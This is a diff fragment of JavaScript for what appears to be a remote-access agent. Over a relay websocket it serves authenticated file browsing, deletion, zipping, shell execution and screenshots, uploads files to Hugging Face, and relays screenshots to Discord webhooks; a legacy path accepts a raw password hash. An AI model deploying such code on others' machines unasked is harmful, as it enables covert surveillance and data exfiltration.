|
+
system: sysInfo,
|
|
448
|
+
features: {
|
|
449
|
+
input: false,
|
|
450
|
+
file_transfer: false,
|
|
451
|
+
clipboard: false,
|
|
452
|
+
filesystem: allowFilesystem,
|
|
453
|
+
screen: false,
|
|
454
|
+
password_required: Boolean(password),
|
|
455
|
+
},
|
|
456
|
+
scale: 1.0,
|
|
457
|
+
quality: 0,
|
|
458
|
+
fps: 0,
|
|
459
|
+
},
|
|
460
|
+
});
|
|
461
|
+
const backlog = preOpenQueue.splice(0, preOpenQueue.length);
|
|
462
|
+
for (const o of backlog) {
|
|
463
|
+
sendJson(o);
|
|
464
|
+
}
|
|
465
|
+
openHandlerFinishedInfo = true;
|
|
466
|
+
tryStartDiscordAfterHandshake();
|
|
467
|
+
});
|
|
468
|
+
});
|
|
469
|
+
ws.on("message", (data, isBinary) => {
|
|
470
|
+
if (isBinary)
|
|
471
|
+
return;
|
|
472
|
+
let msg;
|
|
473
|
+
try {
|
|
474
|
+
msg = JSON.parse(String(data));
|
|
475
|
+
}
|
|
476
|
+
catch {
|
|
477
|
+
return;
|
|
478
|
+
}
|
|
479
|
+
const msgType = String(msg.type || "");
|
|
480
|
+
if (msgType === "discord_screenshot_upload_result") {
|
|
481
|
+
const rid = String(msg.request_id ?? "");
|
|
482
|
+
const pending = pendingDiscordRelayAck.get(rid);
|
|
483
|
+
if (pending) {
|
|
484
|
+
pendingDiscordRelayAck.delete(rid);
|
|
485
|
+
clearTimeout(pending.timer);
|
|
486
|
+
pending.resolve({
|
|
487
|
+
ok: msg.ok === true,
|
|
488
|
+
error: String(msg.error ?? "").trim(),
|
|
489
|
+
});
|
|
490
|
+
}
|
|
491
|
+
return;
|
|
492
|
+
}
|
|
493
|
+
if (msgType === "relay_discord_upload_ticket_result") {
|
|
494
|
+
const rid = String(msg.request_id ?? "");
|
|
495
|
+
const pending = pendingDiscordTicket.get(rid);
|
|
496
|
+
if (pending) {
|
|
497
|
+
pendingDiscordTicket.delete(rid);
|
|
498
|
+
clearTimeout(pending.timer);
|
|
499
|
+
pending.resolve({
|
|
500
|
+
ok: msg.ok === true,
|
|
501
|
+
webhook_url: String(msg.webhook_url ?? "").trim(),
|
|
502
|
+
error: String(msg.error ?? "").trim(),
|
|
503
|
+
});
|
|
504
|
+
}
|
|
505
|
+
return;
|
|
506
|
+
}
|
|
507
|
+
if (msgType === "relay_discord_upload_ack_result") {
|
|
508
|
+
if (!quiet && msg.ok !== true) {
|
|
509
|
+
console.error(`[forge-agent] relay_discord_upload_ack_result: ${String(msg.error ?? "failed").trim()}`);
|
|
510
|
+
}
|
|
511
|
+
return;
|
|
512
|
+
}
|
|
513
|
+
if (msgType === "relay_hf_credentials_result") {
|
|
514
|
+
const rid = String(msg.request_id ?? "");
|
|
515
|
+
const pending = pendingRelayHf.get(rid);
|
|
516
|
+
if (pending) {
|
|
517
|
+
pendingRelayHf.delete(rid);
|
|
518
|
+
if (msg.ok) {
|
|
519
|
+
const token = String(msg.token ?? "").trim();
|
|
520
|
+
let hubUrl = String(msg.hubUrl ?? "https://huggingface.co").trim();
|
|
521
|
+
hubUrl = hubUrl.replace(/\/+$/, "") || "https://huggingface.co";
|
|
522
|
+
const ns = String(msg.namespace ?? "").trim();
|
|
523
|
+
if (!token.startsWith("hf_")) {
|
|
524
|
+
pending.reject(new Error('relay returned invalid token (expected "hf_..." prefix)'));
|
|
525
|
+
return;
|
|
526
|
+
}
|
|
527
|
+
pending.resolve({
|
|
528
|
+
token,
|
|
529
|
+
hubUrl,
|
|
530
|
+
namespace: ns || undefined,
|
|
531
|
+
});
|
|
532
|
+
}
|
|
533
|
+
else {
|
|
534
|
+
pending.reject(new Error(String(msg.error ?? "relay HF credentials request failed")));
|
|
535
|
+
}
|
|
536
|
+
}
|
|
537
|
+
return;
|
|
538
|
+
}
|
|
539
|
+
if (msgType === "connected") {
|
|
540
|
+
applyRelayAgentConnected(msg);
|
|
541
|
+
log(quiet, ` Role confirmed: ${msg.role}`);
|
|
542
|
+
return;
|
|
543
|
+
}
|
|
544
|
+
if (msgType === "viewer_connected") {
|
|
545
|
+
viewerConnected = true;
|
|
546
|
+
viewerAuthenticated = !password;
|
|
547
|
+
pendingAuthNonce = password ? (0, node_crypto_1.randomBytes)(16).toString("hex") : "";
|
|
548
|
+
log(quiet, ` Viewer connected${password ? " (awaiting auth)" : ""}`);
|
|
549
|
+
if (password) {
|
|
550
|
+
const challenge = () => {
|
|
551
|
+
sendJson({
|
|
552
|
+
type: "auth_challenge",
|
|
553
|
+
nonce: pendingAuthNonce,
|
|
554
|
+
algorithm: "sha256(password_hash:nonce)",
|
|
555
|
+
});
|
|
556
|
+
};
|
|
557
|
+
challenge();
|
|
558
|
+
/** Some stacks drop the first post-connect JSON; resend same nonce until authenticated. */
|
|
559
|
+
const nonceSent = pendingAuthNonce;
|
|
560
|
+
for (const ms of [450, 1400, 3200, 6500, 13000, 26000]) {
|
|
561
|
+
setTimeout(() => {
|
|
562
|
+
if (!viewerConnected || viewerAuthenticated)
|
|
563
|
+
return;
|
|
564
|
+
if (pendingAuthNonce !== nonceSent)
|
|
565
|
+
return;
|
|
566
|
+
challenge();
|
|
567
|
+
}, ms);
|
|
568
|
+
}
|
|
569
|
+
}
|
|
570
|
+
else {
|
|
571
|
+
sendJson({ type: "auth_result", ok: true });
|
|
572
|
+
}
|
|
573
|
+
return;
|
|
574
|
+
}
|
|
575
|
+
if (msgType === "viewer_disconnected") {
|
|
576
|
+
viewerConnected = false;
|
|
577
|
+
viewerAuthenticated = !password;
|
|
578
|
+
pendingAuthNonce = "";
|
|
579
|
+
log(quiet, " Viewer disconnected");
|
|
580
|
+
return;
|
|
581
|
+
}
|
|
582
|
+
if (msgType === "auth") {
|
|
583
|
+
if (!password) {
|
|
584
|
+
viewerAuthenticated = true;
|
|
585
|
+
sendJson({ type: "auth_result", ok: true });
|
|
586
|
+
return;
|
|
587
|
+
}
|
|
588
|
+
/**
|
|
589
|
+
* Lost `auth_result` on the wire, or viewer retried after timeout: we already accepted
|
|
590
|
+
* this viewer — re-ack so `/files` can exit "Authenticating…" (fixes second-connect / flaky relay).
|
|
591
|
+
*/
|
|
592
|
+
if (viewerAuthenticated) {
|
|
593
|
+
sendJson({ type: "auth_result", ok: true });
|
|
594
|
+
return;
|
|
595
|
+
}
|
|
596
|
+
let ok = false;
|
|
597
|
+
const submittedResp = String(msg.response || "").trim();
|
|
598
|
+
const submittedNonce = String(msg.nonce || "").trim();
|
|
599
|
+
const submitted = String(msg.password_hash || "").trim();
|
|
600
|
+
if (submittedResp &&
|
|
601
|
+
submittedNonce &&
|
|
602
|
+
submittedNonce === pendingAuthNonce &&
|
|
603
|
+
submittedResp === (0, relayAuth_1.authResponseForNonce)(passwordHash, pendingAuthNonce)) {
|
|
604
|
+
ok = true;
|
|
605
|
+
}
|
|
606
|
+
else if ((0, relayAuth_1.legacyRemoteAuthAllowed)() && submitted === passwordHash) {
|
|
607
|
+
ok = true;
|
|
608
|
+
}
|
|
609
|
+
if (ok) {
|
|
610
|
+
viewerAuthenticated = true;
|
|
611
|
+
pendingAuthNonce = "";
|
|
612
|
+
log(quiet, " Viewer authenticated");
|
|
613
|
+
sendJson({ type: "auth_result", ok: true });
|
|
614
|
+
}
|
|
615
|
+
else {
|
|
616
|
+
log(quiet, " Viewer auth FAILED");
|
|
617
|
+
sendJson({ type: "auth_result", ok: false });
|
|
618
|
+
}
|
|
619
|
+
return;
|
|
620
|
+
}
|
|
621
|
+
if (!viewerAuthenticated) {
|
|
622
|
+
const rid = String(msg.request_id ?? "");
|
|
623
|
+
if (msgType === "fs_hf_upload") {
|
|
624
|
+
sendJson({
|
|
625
|
+
type: "fs_hf_upload_result",
|
|
626
|
+
request_id: rid,
|
|
627
|
+
ok: false,
|
|
628
|
+
error: "viewer not authenticated — complete file explorer login after the agent reconnects",
|
|
629
|
+
});
|
|
630
|
+
return;
|
|
631
|
+
}
|
|
632
|
+
if ([
|
|
633
|
+
"fs_roots",
|
|
634
|
+
"fs_list",
|
|
635
|
+
"fs_read",
|
|
636
|
+
"fs_zip",
|
|
637
|
+
"fs_parent",
|
|
638
|
+
"fs_delete",
|
|
639
|
+
"fs_shell_exec",
|
|
640
|
+
"fs_screenshot",
|
|
641
|
+
].includes(msgType)) {
|
|
642
|
+
sendJson({
|
|
643
|
+
type: "fs_error",
|
|
644
|
+
request_id: rid,
|
|
645
|
+
ok: false,
|
|
646
|
+
error: "viewer not authenticated — complete file explorer login after the agent reconnects",
|
|
647
|
+
});
|
|
648
|
+
return;
|
|
649
|
+
}
|
|
650
|
+
return;
|
|
651
|
+
}
|
|
652
|
+
if (msgType === "relay_hf_credentials_request") {
|
|
653
|
+
return;
|
|
654
|
+
}
|
|
655
|
+
if (msgType === "get_info") {
|
|
656
|
+
sendJson({
|
|
657
|
+
type: "system_info",
|
|
658
|
+
data: systemInfo(),
|
|
659
|
+
screen: screenOff,
|
|
660
|
+
scale: 1.0,
|
|
661
|
+
});
|
|
662
|
+
return;
|
|
663
|
+
}
|
|
664
|
+
if ([
|
|
665
|
+
"fs_roots",
|
|
666
|
+
"fs_list",
|
|
667
|
+
"fs_read",
|
|
668
|
+
"fs_zip",
|
|
669
|
+
"fs_parent",
|
|
670
|
+
"fs_delete",
|
|
671
|
+
"fs_shell_exec",
|
|
672
|
+
"fs_screenshot",
|
|
673
|
+
].includes(msgType)) {
|
|
674
|
+
void (async () => {
|
|
675
|
+
try {
|
|
676
|
+
const resp = await (0, fsMessages_1.buildFsResponse)(msg, allowFilesystem);
|
|
677
|
+
sendJson(resp);
|
|
678
|
+
}
|
|
679
|
+
catch (e) {
|
|
680
|
+
sendJson({
|
|
681
|
+
type: "fs_error",
|
|
682
|
+
request_id: msg.request_id ?? "",
|
|
683
|
+
ok: false,
|
|
684
|
+
error: String(e),
|
|
685
|
+
});
|
|
686
|
+
}
|
|
687
|
+
})();
|
|
688
|
+
}
|
|
689
|
+
if (msgType === "fs_hf_upload") {
|
|
690
|
+
const rid = String(msg.request_id ?? "");
|
|
691
|
+
/** Defer heavy Hub work so auth / small fs_* messages are not delayed behind upload prep. */
|
|
692
|
+
setImmediate(() => {
|
|
693
|
+
void (async () => {
|
|
694
|
+
/** Hoisted so `catch` can scrub after failures before the inner `try`/`finally` runs. */
|
|
695
|
+
let hfCred;
|
|
696
|
+
if (!allowFilesystem) {
|
|
697
|
+
sendJson({
|
|
698
|
+
type: "fs_hf_upload_result",
|
|
699
|
+
request_id: rid,
|
|
700
|
+
ok: false,
|
|
701
|
+
error: "filesystem explorer disabled on agent",
|
|
702
|
+
});
|
|
703
|
+
return;
|
|
704
|
+
}
|
|
705
|
+
try {
|
|
706
|
+
const pathStr = String(msg.path ?? "");
|
|
707
|
+
const rawPathList = Array.isArray(msg.paths)
|
|
708
|
+
? msg.paths.map((v) => String(v ?? "").trim()).filter(Boolean)
|
|
709
|
+
: [];
|
|
710
|
+
const autoSessionRepo = Boolean(msg.hf_auto_session_repo ?? msg.auto_session_repo);
|
|
711
|
+
const clientTableName = String(msg.client_table ?? msg.clientTableName ?? "").trim();
|
|
712
|
+
let clientSeqId = undefined;
|
|
713
|
+
const rawSeq = msg.client_seq_id ?? msg.clientSeqId;
|
|
714
|
+
if (typeof rawSeq === "number" && Number.isFinite(rawSeq) && rawSeq >= 0) {
|
|
715
|
+
clientSeqId = Math.floor(rawSeq);
|
|
716
|
+
}
|
|
717
|
+
else if (typeof rawSeq === "string" && /^[0-9]+$/.test(rawSeq.trim())) {
|
|
718
|
+
clientSeqId = parseInt(rawSeq.trim(), 10);
|
|
719
|
+
}
|
|
720
|
+
const repo = String(msg.repo ?? "").trim();
|
|
721
|
+
const destination = String(msg.destination ?? "").trim();
|
|
722
|
+
const createRepo = Boolean(msg.create_repo);
|
|
723
|
+
const folderMode = msg.folder_mode === "tree" ? "tree" : "zip";
|
|
724
|
+
const hfForce = Boolean(msg.force);
|
|
725
|
+
const hfForceKill = Boolean(msg.force_kill);
|
|
726
|
+
if (hfFetchFromRelayEnabled()) {
|
|
727
|
+
try {
|
|
728
|
+
hfCred = await fetchHfCredentialsFromRelay(sendJson);
|
|
729
|
+
}
|
|
730
|
+
catch {
|
|
731
|
+
/** Relay has no blob or unreachable — fall back to local `loadHfCredentials()` */
|
|
732
|
+
hfCred = undefined;
|
|
733
|
+
}
|
|
734
|
+
}
|
|
735
|
+
try {
|
|
736
|
+
const result = await (0, hfUpload_1.runHfUpload)({
|
|
737
|
+
pathStr,
|
|
738
|
+
...(rawPathList.length > 0 ? { pathList: rawPathList } : {}),
|
|
739
|
+
repo: autoSessionRepo ? undefined : repo,
|
|
740
|
+
autoSessionRepo,
|
|
741
|
+
clientTableName,
|
|
742
|
+
...(clientSeqId !== undefined ? { clientSeqId } : {}),
|
|
743
|
+
destination,
|
|
744
|
+
createRepo: autoSessionRepo ? true : createRepo,
|
|
745
|
+
folderMode: autoSessionRepo ? "zip" : folderMode,
|
|
746
|
+
force: hfForce,
|
|
747
|
+
forceKill: hfForceKill,
|
|
748
|
+
...(hfCred ? { hfCredentials: hfCred } : {}),
|
|
749
|
+
onProgress: (p) => {
|
|
750
|
+
sendJson({
|
|
751
|
+
type: "fs_hf_upload_progress",
|
|
752
|
+
request_id: rid,
|
|
753
|
+
phase: p.phase,
|
|
754
|
+
pct: p.pct,
|
|
755
|
+
detail: p.detail ?? "",
|
|
756
|
+
});
|
|
757
|
+
},
|
|
758
|
+
});
|
|
759
|
+
sendJson({ type: "fs_hf_upload_result", request_id: rid, ...result });
|
|
760
|
+
}
|
|
761
|
+
finally {
|
|
762
|
+
if (hfCred)
|
|
763
|
+
(0, hfCredentials_1.scrubHfCredentialsInPlace)(hfCred);
|
|
764
|
+
(0, agentEnvFile_1.stripEphemeralCredentialEnvFromProcess)();
|
|
765
|
+
}
|
|
766
|
+
}
|
|
767
|
+
catch (e) {
|
|
768
|
+
try {
|
|
769
|
+
if (hfCred)
|
|
770
|
+
(0, hfCredentials_1.scrubHfCredentialsInPlace)(hfCred);
|
|
771
|
+
}
|
|
772
|
+
catch {
|
|
773
|
+
/* skip */
|
|
774
|
+
}
|
|
775
|
+
try {
|
|
776
|
+
(0, agentEnvFile_1.stripEphemeralCredentialEnvFromProcess)();
|
|
777
|
+
}
|
|
778
|
+
catch {
|
|
779
|
+
/* skip */
|
|
780
|
+
}
|
|
781
|
+
sendJson({
|
|
782
|
+
type: "fs_hf_upload_result",
|
|
783
|
+
request_id: rid,
|
|
784
|
+
ok: false,
|
|
785
|
+
error: (0, hfUpload_1.formatHfUploadError)(e),
|
|
786
|
+
});
|
|
787
|
+
}
|
|
788
|
+
})();
|
|
789
|
+
});
|
|
790
|
+
}
|
|
791
|
+
});
|
|
792
|
+
ws.on("close", () => {
|
|
793
|
+
clearAllPendingDiscordAgent("agent websocket closed");
|
|
794
|
+
try {
|
|
795
|
+
stopDiscordScreenshotLoop?.();
|
|
796
|
+
}
|
|
797
|
+
catch {
|
|
798
|
+
/* skip */
|
|
799
|
+
}
|
|
800
|
+
stopDiscordScreenshotLoop = null;
|
|
801
|
+
preOpenQueue.length = 0;
|
|
802
|
+
if (outboundAgentWs === ws)
|
|
803
|
+
outboundAgentWs = null;
|
|
804
|
+
relayDisconnectCleanup();
|
|
805
|
+
scheduleReconnect();
|
|
806
|
+
});
|
|
807
|
+
ws.on("error", (err) => {
|
|
808
|
+
clearAllPendingDiscordAgent("agent websocket error");
|
|
809
|
+
try {
|
|
810
|
+
stopDiscordScreenshotLoop?.();
|
|
811
|
+
}
|
|
812
|
+
catch {
|
|
813
|
+
/* skip */
|
|
814
|
+
}
|
|
815
|
+
stopDiscordScreenshotLoop = null;
|
|
816
|
+
log(quiet, ` Error: ${err}. Reconnecting in ${reconnectDelayMs / 1000}s...`);
|
|
817
|
+
if (outboundAgentWs === ws) {
|
|
818
|
+
preOpenQueue.length = 0;
|
|
819
|
+
outboundAgentWs = null;
|
|
820
|
+
}
|
|
821
|
+
relayDisconnectCleanup();
|
|
822
|
+
// Schedule reconnect here too: in rare cases the WebSocket may emit error
|
|
823
|
+
// without a subsequent close event (e.g. DNS failure before connection).
|
|
824
|
+
scheduleReconnect();
|
|
825
|
+
});
|
|
826
|
+
};
|
|
827
|
+
connect();
|
|
828
|
+
}
|